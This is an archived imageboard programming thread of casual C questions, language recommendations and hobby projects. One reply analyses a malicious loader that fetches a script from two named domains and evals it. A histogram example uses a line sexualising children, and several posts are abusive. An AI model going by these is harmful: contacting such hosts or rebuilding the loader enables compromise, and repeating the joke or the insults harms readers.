for(int i = 0;i<len;i++)
printf("*");
printf("\n");
}
>>
>>62255920
is it bad that i always look at previous projects or some sort of usage for this sort of thing, for example libraries etc.

i just don't think it's that important to remember the specifics of language X
>>
>>62255697
Postgres, bitch
>>
>>62255645
that's not even obfuscated. lmao. it does a get request for the websites ff-consultoria.com/counter/?LXEcjxCseKCXGTEddMkjeNu4BpDtQ877__NvqW2X4G6l4n9-JqQIrZCJYAD6Cx7QlZ3MH-8Xc84PXaVXWHM and halforcman.com/counter/?LXEcjxCseKCXGTEddMkjeNu4BpDtQ877__NvqW2X4G6l4n9-JqQIrZCJYAD6Cx7QlZ3MH-8Xc84PXaVXWHM which undoubtedly give it a script as text, which it then splits where the string stored in 'm' occurs and appends 'a' to the end, then evaluates it
>>
File: image.jpg (701KB, 2048x1146px) Image search: [Google]
image.jpg
701KB, 2048x1146px
>>62255929
No
>>
>>62251727
and you don't seem to understand
>>
>>62255977
why the fuck not

fucking ipads, it's literally a computer, fuck apple for that

also, you posted western cartoon and not anime
FUCK anime
>>
>>62255788
i have done this before, with java and C, but same thing.
>>62255977
you're wrong anon, there's compilers on the app store. Get on it. I actually had tons of fun while on a long trip and learned a lot writing programs on my phone. With no internet to google anything, I had to really figure out stuff. it was a good time.
>>
>>62256022
>>62256011
>>62255977
>>62255966
>>62255944
checked
>>
>>62255977
>>62256022
that just runs them in a sandbox
>>
>>62255739
>manually searching through a database
Yeeeaahh, just let me know how that goes, anon.
>>
>>62255978
a shame you seemed an honest man
>>
What's wrong with this recursive function? If passed 1-infinity, it prints that specific line, if passed 0, it prints every line via the for loop (getLines works correctly, and in this case is returning 4). However, when I run it, it loops an absurd number of times before breaking.

int printLine(int line, FILE * in){
int i, j;
char c;
if(line == 0){
for(i = 1; i <= getLines(in); i++){
printLine(i, in);
}
}
// rest of the statement printing the specific line
>>
>>62256039
So?
>>
Just started Uni, realized on my first day that my intro to CompSci classs is gonna be a waste of time. I'll still do the work and assignments, but I want another language to learn.

What is the best language to learn right now, from scratch? Rust? C? C++? C#? Java? Python?
>>
>>62255944
$ ./histogram I LOVE LITTLE GIRLS
I *
LOVE ****
LITTLE ******
GIRLS *****


#include <stdio.h>
#include <string.h>

int main (int argc, char *argv[]) {
int i, j, k;

for(i=1; i<argc; i++) {
j = strlen(argv[i]);
printf ("%s\t\t", argv[i]);
for(k=0; k<j; k++) putchar ('*');
printf ("\n");
}
return 0;
}


you're not freeing 50 * 20 just words[0]
>>
>>62256011
i just realized, i could fix two different bugs in this script if i had an interpreter slap an error on my face.

>>62256022
those compilers had a 'compile limit' which required buying the 'pro' version after 100 compiles. i just straight up uninstalled them. if you discovered a heavenly compiler with no bullshit, please tell me its' name.
>>
>>62256073
limits you in some ways
>>
>>62256098
im sure if you jailbreak it you could.
>>
actual fucking RTOS when?
I've always been interested in actual Real-Time OS's.
>>
>>62256112
i am on 10.3 and as i am aware of, it doesn't have a jailbreak available for it.
>>
>>62256080
For fun: Perl6, Nim
For usefulness: Java, C++, Python
For the meme: Lisp variant, haskell
For money: webdev shit(html, css, javascript)
>>
>>62256071
try adding an else before the rest of the function
>>
>>62256127
BBOs is realtime
>>
>>62256155
Thanks, brother.

Any specific recommended textbooks to learn a language? Or any, as long as I put in the effort and have the drive to learn?
>>
>>62256097
>using the command line arguments
well yeah I guess i could've done that, too

how do I free the entire thing? do I have to use another loop to iterate through and free that way?
>>
>>62256155
>lisp is as much of a meme as haskel
>no C on any of those lists
no, fucktard, no
>>
>>62256248
>how do I free the entire thing? do I have to use another loop to iterate through and free that way?
yes
but since it exists and this isnt the 1980s you dont really have to worry....
>>
>>62256170
Ended up adding a rewind and it all worked, probably because it's a pointer, which makes sense.
>>
>>62256098
There is an app called "mobile C", there's a compile limit but only per app opening. Once you run out,you just have to close the app and reopen it, it's a little bit annoying but not that bad.
>>
>>62255816
http://www.stroustrup.com/bs_faq.html#best-book
>>
File: image.jpg (376KB, 1280x720px) Image search: [Google]
image.jpg
376KB, 1280x720px
>>62256373
Thank you sempai.
>>
Objective facts posting ITT

Every programmers should start with learning C and Assembly.
>>
>>62256538
asm yes, c no
>>
>>62256538
c yes, asm no
>>
>>62255977
Make your own compiler app!
>>
>>62256538
asm maybe, c maybe
>>
>>62256538
asm no, c no,
rust yes
>>
>>62256600
Rust as a beginner language
That's something

It smells a bit retarded and evil my lad
>>
#include <stdlib.h>
#include <stdio.h>

void main(){
const int A[] = {0x41, 0x42, 0x43};
fwrite(A, sizeof(int), 3, stdout);
}


why does this output space between the letters A B and C?
>>
>>62256621
write char instead of int
>>
File: 2-of-daggers.png (7KB, 329x510px) Image search: [Google]
2-of-daggers.png
7KB, 329x510px
Using ruby+ImageMagick to generate some custom playing cards for my D&D campaign. Trying to decide the best way to lay out the symbols on the cards without manually specifying coordinates for each card value.
>>
>>62256619
>learning any other language
kys brainlet
>>
>>62255747
Not sure what platform you are on, but in 8 bit AVR you could store text strings and other data in program memory as part of the assembly code, typically using a .db directive. Reference the documentation for 'call' in whatever platform you are working on.
>>
when does the new thread start?
>>
>>62256738
Shortly before the first reply.
>>
File: 7nKEtke.jpg (101KB, 612x612px) Image search: [Google]
7nKEtke.jpg
101KB, 612x612px
Please could you help a scrub?

I'm learning C currently, one of my exercice demans I program a command that will used the command prompt.

Basically I got this thing I can't answer:

In which function is the command prompt going to search for the arguments I'm calling along with the command?
If I write <myprogram.exe -i -n " C:\">

Is it going to read the -i and -n arguments from the int main, in the form of a argsv?

Then how do I set the various options to look for and use? Is it with a switch condition?
>>
>>62256945
argv[1] will be -i, argv[2] will be -n and so on. There's no built in option parsing.
>>
File: outputg.webm (2MB, 640x480px) Image search: [Google]
outputg.webm
2MB, 640x480px
I made a rotating maze game in C with the allegro library
>>
>>62256649
not answering my question
>>
>>62256987
And how does the program know how many arguments there are going to be?

And do I condition it with a switch - case that will call a void for each option?
>>
>>62257018
>>62256649
also that doesn't even work
>>
>>62257020
Your main function signature is this.
int main(int argc, char **argv)

argc is how many arguments there are.
>>
>>62256990
good job, looks pretty nice
>>
File: 1481669880462.png (254KB, 580x504px) Image search: [Google]
1481669880462.png
254KB, 580x504px
>>62256990
nice
>>
writing a matrix library for urbit
>>
>>62257136
whorbit?
>>
>>62257167
https://urbit.org/
>>
>>62257063
Thanks anon
Last how do I code each argument?
>>
Thinking about expanding my knowledge beyond C and Lua.

What languages should I learn?
>>
>>62254269
It's called a fitness function and I am right. You're probably representing your individuals in some weird format or don't know what you're having them "evolve" for if you can't implement a fitness function in your implementation.
>>
>>62257218
Javascript
>>
>>62257237
he's right
>>
Anyone have the one pic with the list of projects to roll for
>>
File: card-anim.gif (68KB, 329x510px) Image search: [Google]
card-anim.gif
68KB, 329x510px
It works! Now I just need to draw the symbols for all the suits, and all the trump cards, and I'll have myself a deck.
>>
>>62257237
Nah see what you're saying works for like the most basic possible application of evolutionary algos, which isn't super interesting to me. I'm using a genetic algorithm to generate another algorithm which will be used for approximate time series prediction. Doing what you're saying would basically involve iterating over the entire dataset for every reproduction, which would obviously be retarded.
>>
>>62253546
Yes, that's a pic of me.
Where did you find it?
>>
>>62255438
>preferred text style for reading is "hacker"
>>
>>62257690
so your plan is to guess what the fitness is?
>>
I'm a little stuck with this task

6. Write a program to evaluate the polynomial shown here:

3x3 - 5x2 + 6

I am using ^ for the power of but i am getting strange numbers, this is in C.
>>
>>62257759
^ doesn't raise to power in C, it does XOR.
>>
>>62257759
is this bait?
>>
>>62257772
Which symbol do i use for power??
>>
>>62257802
pow(x, y)
you have to #include <math.h> to use this
>>
>>62257802
some languages use **
>>
Explain
#include <iostream>
#include <string>
using namespace std;

int main() {
string* name = new string{"Abeigh"};
cout << (*name)[3] << "\n";
// cout << (*name + 3) << "\n"; // won't work
}
>>
>>62257742
The fitness in my implementation will be a running total that gets updated each round. All the initial nodes start with 1000 or whatever. Depending on how well they guess at the data presented to them, that fitness will either go up or down into the next round.
>>
>>62257988
>string* name = new string
first of all
why the fuck would you do this
>>
>>62258097
Imagine a 20 Mb text file
>>
>>62258113
string s;
s.resize(20*1024*1024);
>>
what is the lowest level way to read a file byte by byte in C if you don't know its file size?
>>
>>62258145
anyway, here's the way to do it given your example
    string* name = new string{ "Abeigh" };

//dereference to string, get the 4th element
cout << (*name)[3] << "\n";

//cast to character
//pointer arithmetic to get to the 4th character
//dereference to get just that one character
cout << *((char*)name + 3) << "\n";
>>
>>62258183
I mean, you can go arbitrarily low level in C so I don't know what you're really looking for
why not this? assuming c is an int and f is your file pointer
while((c = getc(f)) != EOF){
//do something
}
>>
new thread: >>62258573
>>
File: IMG_20170904_223651.jpg (3MB, 3024x4032px) Image search: [Google]
IMG_20170904_223651.jpg
3MB, 3024x4032px
>>62253358
(C = getchar()) != EOF checks the char's value, not any "assignment" return value
Thread posts: 338
Thread images: 30


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.